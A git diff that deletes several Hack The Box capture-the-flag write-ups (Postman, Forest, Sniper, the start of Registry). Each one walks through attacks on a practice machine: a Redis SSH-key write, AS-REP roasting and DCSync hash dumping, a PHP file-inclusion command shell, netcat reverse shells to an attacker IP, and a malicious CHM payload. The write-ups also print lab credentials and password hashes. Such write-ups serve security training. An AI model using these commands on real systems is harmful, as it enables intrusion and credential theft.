-![](/assets/images/htb-writeup-postman/website1a.png) - -I scanned the website with gobuster to find hidden files and directories. - -``` -root@kali:~/htb# gobuster dir -t 50 -w /opt/SecLists/Discovery/Web-Content/big.txt -x php -u http://postman.htb - -/css (Status: 301) -/fonts (Status: 301) -/images (Status: 301) -/js (Status: 301) -/server-status (Status: 403) -/upload (Status: 301) -``` - -Indexing was enabled on `/upload` but there was nothing interesting in there. - -![](/assets/images/htb-writeup-postman/upload.png) - -## Webmin - -Webmin is a web-based system configuration tool. As shown below, HTTPS is needed to connect to the port 10000. - -![](/assets/images/htb-writeup-postman/webmin1.png) - -![](/assets/images/htb-writeup-postman/webmin2.png) - -The nmap scan I ran earlier already discovered the webmin version used on the system from the `Server` header: `MiniServ/1.910` - -Based on Exploit-DB, I saw see there are multiple exploits available for this version: - -``` -Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) -Webmin 1.920 - Remote Code Execution -Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit) -``` - -The Metasploit module for version 1.920 only works for the backdoored version of Webmin and doesn't work here on this box: - -``` -msf5 exploit(linux/http/webmin_backdoor) > run - -[*] Started reverse TCP handler on 10.10.14.20:4444 -[-] Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override -[*] Exploit completed, but no session was created. -``` - -The other exploit for CVE-2019-12840 requires authentication so I wasn't able to use it without creds. - -> Description: -> This module exploits an arbitrary command execution vulnerability in -> Webmin 1.910 and lower versions. Any user authorized to the "Package -> Updates" module can execute arbitrary commands with root privileges. - -## Redis - -Next I checked out to the Redis instance. I used the redis-tools package to interact with Redis. As shown below, we don't need to be authenticated to read and write to the database. - -![](/assets/images/htb-writeup-postman/redis1.png) - -Because this instance of Redis is not protected, it's possible to write arbitrary data to disk using the Redis save functionality. For this attack, I uploaded my SSH public key to the home folder then I was able to SSH in to the box. - -Here are the blogs that I used when doing the box: -- [http://antirez.com/news/96](http://antirez.com/news/96) -- [https://github.com/psmiraglia/ctf/blob/master/kevgir/000-redis.md](https://github.com/psmiraglia/ctf/blob/master/kevgir/000-redis.md) - -First, I had to find a list of valid users on the box so I scanned for existing user directories using a wordlist and a [script](https://github.com/psmiraglia/ctf/blob/master/kevgir/scripts/redis-oracle.py). - -I tried running a couple of wordlist without success then decided to manually verify what's going on. - -![](/assets/images/htb-writeup-postman/redis2.png) - -From the screenshot, we can see that the enumeration technique works: it returns an `OK` message if the directory is writeable, `No such file or directory` if it doesn't exist and `Permission denied` if we don't have access to it. I previously tried a whole bunch of directories inside `/home` but I don't even have access to its parent directory. - -Finding the correct directory took a while. I installed redis to see what is the standard installation path. On Kali Linux, the apt installation creates the following user: - -``` -redis:x:133:145::/var/lib/redis:/usr/sbin/nologin -``` - -I verified that the directory exists on the box: - -``` -10.10.10.160:6379> CONFIG SET dir "/var/lib/redis" -OK -``` - -On a normal installation we would not be able to do anything with this user since the login shell is set to `/usr/sbin/nologin` but on Postman the login shell is set to `/bin/bash`. Here are the steps I followed to put my SSH key on the server. - -Step 1. Generate blob to be injected - -``` -root@kali:~/htb/postman# echo -e '\n\n' >> blob.txt -root@kali:~/htb/postman# cat ~/.ssh/id_rsa.pub >> blob.txt -root@kali:~/htb/postman# echo -e '\n\n' >> blob.txt -``` - -Step 2. Update the Redis configuration - -``` -10.10.10.160:6379> CONFIG SET dbfilename "authorized_keys" -OK -10.10.10.160:6379> CONFIG SET dir "/var/lib/redis/.ssh" -OK -``` - -Step 3. Do the attack - -``` -root@kali:~/htb/postman# redis-cli -h 10.10.10.160 flushall -OK -root@kali:~/htb/postman# cat blob.txt | redis-cli -h 10.10.10.160 -x set sshblob -OK -root@kali:~/htb/postman# redis-cli -h 10.10.10.160 save -OK -``` - -And we can now log in to the box with SSH: - -``` -root@kali:~/htb/postman# ssh redis@10.10.10.160 -The authenticity of host '10.10.10.160 (10.10.10.160)' can't be established. -ECDSA key fingerprint is SHA256:kea9iwskZTAT66U8yNRQiTa6t35LX8p0jOpTfvgeCh0. -Are you sure you want to continue connecting (yes/no/[fingerprint])? yes -Warning: Permanently added '10.10.10.160' (ECDSA) to the list of known hosts. -Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage - - - * Canonical Livepatch is available for installation. - - Reduce system reboots and improve kernel security. Activate at: - https://ubuntu.com/livepatch -Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1 -redis@Postman:~$ -``` - -## Getting Matt's credentials - -The `/etc/passwd` file contains another user: `Matt` - -``` -[...] -sshd:x:106:65534::/run/sshd:/usr/sbin/nologin -Matt:x:1000:1000:,,,:/home/Matt:/bin/bash -redis:x:107:114::/var/lib/redis:/bin/bash -``` - -After looking around for a bit, I found Matt's SSH private key in `/opt`: - -``` -redis@Postman:/opt$ ls -la -total 12 -drwxr-xr-x 2 root root 4096 Sep 11 2019 . -drwxr-xr-x 22 root root 4096 Aug 25 2019 .. --rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 id_rsa.bak -redis@Postman:/opt$ cat id_rsa.bak ------BEGIN RSA PRIVATE KEY----- -Proc-Type: 4,ENCRYPTED -DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C - -JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX -cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2 -7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6 -cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9 -1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv -EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP -UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY -Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK -t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS -5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke -P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6 -jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge -SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i -l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X -0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p -S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR -hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+ -Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V -XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD -b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi -WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh -KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm -npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ -VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W -X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw== ------END RSA PRIVATE KEY----- -``` - -We're able to crack the hash with John after converting it with ssh2john. - -![](/assets/images/htb-writeup-postman/matt.png) - -I tried SSHing in with the password but wasn't able to. However using `su` from the redis shell I can log in as `Matt`. - -![](/assets/images/htb-writeup-postman/user.png) - -Looking `/etc/ssh/sshd_config` we can see that Matt is specifically denied SSH access to the box so that's why I couldn't SSH in directly: - -``` -[...] -#deny users -DenyUsers Matt -``` - -## Privesc using webmin - -Now that I have a valid user, I can use the Metasploit exploit for Webmin and get root shell. - -![](/assets/images/htb-writeup-postman/root.png) \ No newline at end of file diff --git a/_posts/2020-03-21-htb-writeup-forest.md b/_posts/2020-03-21-htb-writeup-forest.md deleted file mode 100644 index d52e4b4be4..0000000000 --- a/_posts/2020-03-21-htb-writeup-forest.md +++ /dev/null @@ -1,223 +0,0 @@ ---- -layout: single -title: Forest - Hack The Box -excerpt: "Forest is a nice easy box that go over two Active Directory misconfigurations / vulnerabilities: Kerberos Pre-Authentication (disabled) and ACLs misconfiguration. After I retrieve and cracked the hash for the service account I used aclpwn to automate the attack path and give myself DCsync rights to the domain." -date: 2020-03-21 -classes: wide -header: - teaser: /assets/images/htb-writeup-forest/forest_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - ad - - kerberos - - bloodhound - - dcsync - - aclpwn ---- - -![](/assets/images/htb-writeup-forest/forest_logo.png) - -Forest is a nice easy box that go over two Active Directory misconfigurations / vulnerabilities: Kerberos Pre-Authentication (disabled) and ACLs misconfiguration. After I retrieved and cracked the hash for the service account I used aclpwn to automate the attack path and give myself DCsync rights to the domain. - -## Summary - -- The service account `svc-alfresco` does not require kerberos preauthentication so we can retrieve and crack the hash offline -- After running Bloodhound on the machine, we find that we have WriteDACL access on the domain -- We can give ourselved DCSync rights, recover the administrator NTLM hash and psexec to get an administrator shell - -## Portscan - -``` -root@kali:~/htb/forest# nmap -p- -T4 10.10.10.161 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-12 15:01 EDT -Nmap scan report for forest.htb (10.10.10.161) -Host is up (0.041s latency). -Not shown: 65512 closed ports -PORT STATE SERVICE -53/tcp open domain -88/tcp open kerberos-sec -135/tcp open msrpc -139/tcp open netbios-ssn -389/tcp open ldap -445/tcp open microsoft-ds -464/tcp open kpasswd5 -593/tcp open http-rpc-epmap -636/tcp open ldapssl -3268/tcp open globalcatLDAP -3269/tcp open globalcatLDAPssl -5985/tcp open wsman -9389/tcp open adws -47001/tcp open winrm -49664/tcp open unknown -49665/tcp open unknown -49666/tcp open unknown -49667/tcp open unknown -49669/tcp open unknown -49670/tcp open unknown -49671/tcp open unknown -49678/tcp open unknown -49697/tcp open unknown -``` - -## Enumerating domain users on the machine - -NULL sessions are allowed so we can get a list of users through the RPC client. - -The `svc-alfresco` user is probably a service account based on the name. - -``` -root@kali:~/htb/forest# enum4linux 10.10.10.161 -[...] -user:[Administrator] rid:[0x1f4] -user:[Guest] rid:[0x1f5] -user:[krbtgt] rid:[0x1f6] -user:[DefaultAccount] rid:[0x1f7] -user:[$331000-VK4ADACQNUCA] rid:[0x463] -user:[SM_2c8eef0a09b545acb] rid:[0x464] -user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465] -user:[SM_75a538d3025e4db9a] rid:[0x466] -user:[SM_681f53d4942840e18] rid:[0x467] -user:[SM_1b41c9286325456bb] rid:[0x468] -user:[SM_9b69f1b9d2cc45549] rid:[0x469] -user:[SM_7c96b981967141ebb] rid:[0x46a] -user:[SM_c75ee099d0a64c91b] rid:[0x46b] -user:[SM_1ffab36a2f5f479cb] rid:[0x46c] -user:[HealthMailboxc3d7722] rid:[0x46e] -user:[HealthMailboxfc9daad] rid:[0x46f] -user:[HealthMailboxc0a90c9] rid:[0x470] -user:[HealthMailbox670628e] rid:[0x471] -user:[HealthMailbox968e74d] rid:[0x472] -user:[HealthMailbox6ded678] rid:[0x473] -user:[HealthMailbox83d6781] rid:[0x474] -user:[HealthMailboxfd87238] rid:[0x475] -user:[HealthMailboxb01ac64] rid:[0x476] -user:[HealthMailbox7108a4e] rid:[0x477] -user:[HealthMailbox0659cc1] rid:[0x478] -user:[sebastien] rid:[0x479] -user:[lucinda] rid:[0x47a] -user:[svc-alfresco] rid:[0x47b] -user:[andy] rid:[0x47e] -user:[mark] rid:[0x47f] -user:[santi] rid:[0x480] -``` - -## Cracking the TGT for the service account - -When we query the target domain for users with 'Do not require Kerberos preauthentication' set, we find that `svc-alfresco` is not configured with pre-authentication so its TGT will be returned to us encrypted with its password. Similar to kerberoasting, we can brute force the hash offline. - -``` -root@kali:~/htb/forest# GetNPUsers.py htb.local/svc-alfresco -no-pass -dc-ip 10.10.10.161 -Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation - -[*] Getting TGT for svc-alfresco -$krb5asrep$23$svc-alfresco@HTB.LOCAL:048f9eeb67ab94be9e4d8fa1da1020[...]6994e733284cc75dc1e3fff447a5d69b064df4fc5967c96b023a5 -``` - -``` -root@kali:~/htb/forest# john -w=/usr/share/wordlists/rockyou.txt hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x]) -Will run 4 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL) -1g 0:00:00:06 DONE (2019-10-12 19:52) 0.1481g/s 605297p/s 605297c/s 605297C/s s401447401447401447..s3r2s1 -Use the "--show" option to display all of the cracked passwords reliably -Session completed -``` - -We found the credentials for the service account: `svc-alfresco` / `s3rvice`. This service account is allowed to connect to the server with WinRM. - -``` -root@kali:~/htb/forest# evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161 - -Info: Starting Evil-WinRM shell v1.6 - -Info: Establishing connection to remote endpoint - -*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> type ..\desktop\user.txt -e5e4e47[...] -``` - -## AD recon with Bloodhound - -Using the Bloodhound ingestor, we can collect the data from Active Directory: - -``` -*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> powershell -ep bypass -command "import-module \\10.10.14.7\test\SharpHound.ps1; invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice" -Initializing BloodHound at 5:07 PM on 10/12/2019 -Resolved Collection Methods to Group, LocalAdmin, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets -Starting Enumeration for htb.local -Status: 123 objects enumerated (+123 123/s --- Using 117 MB RAM ) -Finished enumeration for htb.local in 00:00:01.0088043 -1 hosts failed ping. 0 hosts timedout. - -Compressing data to C:\Users\svc-alfresco\Documents\20191012170734_BloodHound.zip. -You can upload this file directly to the UI. -Finished compressing files! - -*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> copy 20191012170734_BloodHound.zip \\10.10.14.7\test -``` - -After transferring the zip file to our Kali VM, we load the data in Bloodhound and check for the shortest path to domain admin. As shown below, the `svc-alfresco` user has `GenericAll` rights on the `Exchange Windows Permissions` group so we can add this user to the group. Next, the `WriteDacl` rights allows us to give DCsync rights to our compromised user and retrieve the NTLM hashes for all users on the domain. - -![](/assets/images/htb-writeup-forest/bloodhound1.png) - -### Privesc with DCSync - -To exploit the ACL path automatically we can use [aclpwn](https://github.com/fox-it/aclpwn.py): - -``` -root@kali:~/openvpn# aclpwn -f svc-alfresco -ft user -t htb.local -tt domain -d htb.local -dp bloodhound -du neo4j --server 10.10.10.161 -u svc-alfresco -sp s3rvice -p s3rvice -[+] Path found! -Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL) -[!] Unsupported operation: GenericAll on EXCH01.HTB.LOCAL (Computer) -[-] Invalid path, skipping -[+] Path found! -Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL) -[!] Unsupported operation: GetChanges on HTB.LOCAL (Domain) -[-] Invalid path, skipping -Please choose a path [0-1] 0 -[-] Memberof -> continue -[-] Memberof -> continue -[-] Memberof -> continue -[-] Adding user svc-alfresco to group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL -[+] Added CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local as member to CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local -[-] Switching context to svc-alfresco -[+] Done switching context -[-] Modifying domain DACL to give DCSync rights to svc-alfresco -[+] Dacl modification successful -[+] Finished running tasks -[+] Saved restore state to aclpwn-20191013-084938.restore -``` - -Now that we have the DCsync rights, we can use secretsdump.py to perform DCsync and get all the hashes. - -``` -root@kali:~/openvpn# secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation - -[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied -[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) -[*] Using the DRSUAPI method to get NTDS.DIT secrets -htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6::: -Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8::: -DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -[...] -htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc::: -htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3::: -htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668::: -htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b::: -htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7::: -htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072::: -[...] -[*] Cleaning up... -``` - -Now that we have the administrator's hash we can use psexec to log in. - -![](/assets/images/htb-writeup-forest/root.png) \ No newline at end of file diff --git a/_posts/2020-03-28-htb-writeup-sniper.md b/_posts/2020-03-28-htb-writeup-sniper.md deleted file mode 100644 index cc529fa4ae..0000000000 --- a/_posts/2020-03-28-htb-writeup-sniper.md +++ /dev/null @@ -1,313 +0,0 @@ ---- -layout: single -title: Sniper - Hack The Box -excerpt: "Sniper is another box I got access to through an unintended method. The PHP application wasn't supposed to be exploitable through Remote File Inclusion but because it runs on Windows, we can use UNC path to include a file from an SMB share. Once I had a shell, I pivoted using plink and logged in as user Chris with WinRM. The box author was nice enough to leave hints as to what kind of malicious payload was expected and I used Nishang to generate a CHM payload and get Administrator access." -date: 2020-03-28 -classes: wide -header: - teaser: /assets/images/htb-writeup-sniper/sniper_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - php - - rfi - - unintended - - plink - - winrm - - chm ---- - -![](/assets/images/htb-writeup-sniper/sniper_logo.png) - -Sniper is another box I got access to through an unintended method. The PHP application wasn't supposed to be exploitable through Remote File Inclusion but because it runs on Windows, we can use UNC path to include a file from an SMB share. Once I had a shell, I pivoted using plink and logged in as user Chris with WinRM. The box author was nice enough to leave hints as to what kind of malicious payload was expected and I used Nishang to generate a CHM payload and get Administrator access. - -## Summary - -- Exploit an RFI in the language parameter to include a PHP file through SMB and gain RCE -- Retrieve the MySQL credentials from the database -- Upgrade the shell to a meterpreter shell and port forward WinRM -- Login as user Chris with the forwarded WinRM socket -- Identify through hints that the admin is waiting for a .chm file -- Craft a malicious .chm file and get a reverse shell as Administrator - -## Portscan - -``` -root@kali:~/htb/sniper# nmap -sC -sV -T4 -p- 10.10.10.151 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-06 09:01 EDT -Nmap scan report for sniper.htb (10.10.10.151) -Host is up (0.049s latency). -Not shown: 65530 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: Sniper Co. -135/tcp open msrpc Microsoft Windows RPC -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -445/tcp open microsoft-ds? -49667/tcp open msrpc Microsoft Windows RPC -Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows - -Host script results: -|_clock-skew: 7h00m13s -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2019-10-06T20:04:16 -|_ start_date: N/A -``` - -## SMB - -No access to shares on SMB - -``` -root@kali:~/htb/sniper# smbmap -u invalid -H 10.10.10.151 -[+] Finding open SMB ports.... -[!] Authentication error occured -[!] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.) -[!] Authentication error on 10.10.10.151 -root@kali:~/htb/sniper# smbmap -u '' -H 10.10.10.151 -[+] Finding open SMB ports.... -[!] Authentication error occured -[!] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) -[!] Authentication error on 10.10.10.151 -``` - -## Web - -The website is pretty generic and most of the links don't work. - -![](/assets/images/htb-writeup-sniper/website1.png) - -At the bottom of the main page there is a link to the User Portal. - -![](/assets/images/htb-writeup-sniper/website2.png) - -The user portal has a login page and there is a link at the bottom to register a new user. - -![](/assets/images/htb-writeup-sniper/website3.png) - -The registration page looks like this. - -![](/assets/images/htb-writeup-sniper/website4.png) - -After creating myself an account, I log in and see that it's still under construction. - -![](/assets/images/htb-writeup-sniper/construction.png) - -Next, I scanned the site with [rustbuster](https://github.com/phra/rustbuster) and found a blog link I didn't see earlier. - -![](/assets/images/htb-writeup-sniper/dirb1.png) - -![](/assets/images/htb-writeup-sniper/dirb2.png) - -![](/assets/images/htb-writeup-sniper/dirb3.png) - -The blog is pretty generic but there is an interesting link to change the language of the page. - -![](/assets/images/htb-writeup-sniper/blog1.png) - -As shown in the source code, it is possibly a target for an LFI or RFI since it references a PHP file. - -![](/assets/images/htb-writeup-sniper/blog2.png) - -## Gaining RCE through RFI in the language parameter - -To test for local file inclusion I'll try including a Windows file I know exists on the target machine. Luckily for me the `lang` parameter uses the filename with the extension so I can potentially include any file, not just file with php extensions. I am able to get the content of `win.ini` with the following: - -`GET /blog/?lang=/windows/win.ini` - -![](/assets/images/htb-writeup-sniper/lfi1.png) - -Next I try to include a remote file through HTTP with `GET /blog/?lang=http://10.10.14.11/test.php` but I didn't get a callback so I assume remote file includes are disabled or there is some filtering done on the parameter. - -Even though remote file includes are disabled, using a UNC path works since it's considered a local path by PHP and I'm able to get a callback through SMB on port 445 with `GET /blog/?lang=//10.10.14.11/test/test.php` - -![](/assets/images/htb-writeup-sniper/smb1.png) - -I can't get impacket-smbserver working right with this box so instead I'll use the standard Samba server in Linux and create an open share: `net usershare add test /root/htb/sniper/share '' 'Everyone:F' guest_ok=y` - -Before trying to get RCE, I'll create an `info.php` file that calls `phpinfo()` so I can check for any disabled functions: - -```php - -``` - -After calling `phpinfo()` with `GET /blog/?lang=//10.10.14.11/test/info.php` I see that it's running Windows build 17763 and that no functions are disabled. - -![](/assets/images/htb-writeup-sniper/info1.png) - -![](/assets/images/htb-writeup-sniper/info2.png) - -Next I'll create another PHP file to execute commands passed in the `cmd` parameter: - -```php - -``` - -And with the following request I can execute commands: `GET /blog/?lang=//10.10.14.11/test/nc.php&cmd=whoami` - -![](/assets/images/htb-writeup-sniper/rce1.png) - -To get a shell I'll upload netcat to the server with `GET /blog/?lang=//10.10.14.11/test/nc.php&cmd=copy+\\10.10.14.11\test\nc.exe+c:\programdata\nc.exe` - -![](/assets/images/htb-writeup-sniper/rce2.png) - -Then I execute netcat to get a shell with `GET /blog/?lang=//10.10.14.11/test/nc.php&cmd=c:\programdata\nc.exe+-e+cmd.exe+10.10.14.11+80` - -![](/assets/images/htb-writeup-sniper/shell.png) - -## Enumeration of the machine - -The first thing I check is the `C:\inetpub\wwwroot\user\db.php` file used by the login portal so I can see which credentials are used to connect to the database: - -```php - -``` - -Then I check out which local users are present on the box: - -``` -C:\>net users - -User accounts for \\ - -------------------------------------------------------------------------------- -Administrator Chris DefaultAccount -Guest WDAGUtilityAccount -``` - -The next logical step is to get access to user `Chris`: - -``` -... -Local Group Memberships *Remote Management Users -Global Group memberships *None -... -``` - -Chris is part of the Remote Management Users group and WinRM is listening on port 5985 but firewalled off from the outside. - -``` -C:\>netstat -an - -Active Connections - - Proto Local Address Foreign Address State - TCP 0.0.0.0:80 0.0.0.0:0 LISTENING - TCP 0.0.0.0:135 0.0.0.0:0 LISTENING - TCP 0.0.0.0:445 0.0.0.0:0 LISTENING - TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING - TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING - TCP 0.0.0.0:33060 0.0.0.0:0 LISTENING -[...] -... -``` - -## Shell as user Chris with WinRM - -To connect to WinRM I'll upload plink.exe and create a reverse tunnel for port 5985. - -![](/assets/images/htb-writeup-sniper/plink.png) - -After pivoting, I am able to log in as user Chris. - -![](/assets/images/htb-writeup-sniper/chris.png) - -I find that WinRM is a tad slow so I'll spawn another netcat as user Chris to continue my enumeration. - -## More enumeration - -The `c:\docs` directory was previously unaccessible with the previous user but I can see the files now with user Chris. - -``` -C:\docs>dir - Volume in drive C has no label. - Volume Serial Number is 6A2B-2640 - - Directory of C:\docs - -10/01/2019 01:04 PM . -10/01/2019 01:04 PM .. -04/11/2019 09:31 AM 285 note.txt -04/11/2019 09:17 AM 552,607 php for dummies-trial.pdf - 2 File(s) 552,892 bytes - 2 Dir(s) 17,885,601,792 bytes free -``` - -The .pdf doesn't have anything interesting but `note.txt` contains a hint: - -``` -type note.txt -Hi Chris, - Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it. - -Regards, -Sniper CEO. -``` - -Ok, so the CEO (probably the administrator) is expecting some documentation files to be dropped in this folder. There's probably a script bot running and opening files in this folder. I don't know what kind of payload he's expecting so I'll keep on looking around the box. - -The `C:\Users\Chris\Downloads` directory contains a CHM file. - -``` -C:\Users\Chris\Downloads>dir - Volume in drive C has no label. - Volume Serial Number is 6A2B-2640 - - Directory of C:\Users\Chris\Downloads - -04/11/2019 08:36 AM . -04/11/2019 08:36 AM .. -04/11/2019 08:36 AM 10,462 instructions.chm - 1 File(s) 10,462 bytes - 2 Dir(s) 17,885,601,792 bytes free -``` - -As per Wikipedia: - -> Microsoft Compiled HTML Help is a Microsoft proprietary online help format, consisting of a collection of HTML pages, an index and other navigation tools. The files are compressed and deployed in a binary format with the extension .CHM, for Compiled HTML. The format is often used for software documentation. - -So now things are starting to click: -1. The admin/CEO is expecting documentation -2. The instruction.chm file is a compiled html file used for documentation - -I remembered reading about malicious CHM files some time ago so I make sure to open the file in an isolated Windows VM: - -![](/assets/images/htb-writeup-sniper/instructions.png) - -I did some research and found the [Nishang Out-CHM](https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1) tool that can generate malicious payload. I should be able to get RCE as the administrator with this malicious file. - -## Generating a malicious CHM file for privilege escalation - -After installing the HTML Help Workshop on my Windows machine, I generated a malicious CHM file that uses netcat to spawn a reverse shell: - -`PS > Out-CHM -Payload "C:\programdata\nc.exe -e cmd.exe 10.10.14.11 3333" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"` - -Uploaded it to the server... - -`*Evil-WinRM* PS C:\docs> copy \\10.10.14.11\test\doc.chm .` - -And boom, got a shell as `administrator`: - -![](/assets/images/htb-writeup-sniper/root.png) \ No newline at end of file diff --git a/_posts/2020-04-03-htb-writeup-registry.md b/_posts/2020-04-03-htb-writeup-registry.md deleted file mode 100644 index af6b908518..0000000000 --- a/_posts/2020-04-03-htb-writeup-registry.md +++ /dev/null @@ -1,328 +0,0 @@ ---- -layout: single -title: Registry - Hack The Box -excerpt: "This writeup is outdated and the attack path presented for user bolt has been patched. Initially once we pivoted from the bolt user to www-data we could run restic as root and abuse the sftp.command parameter to execute any command as root." -date: 2020-04-03 -classes: wide -header: - teaser: /assets/images/htb-writeup-registry/registry_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - docker - - registry - - restic - - unintended ---- - 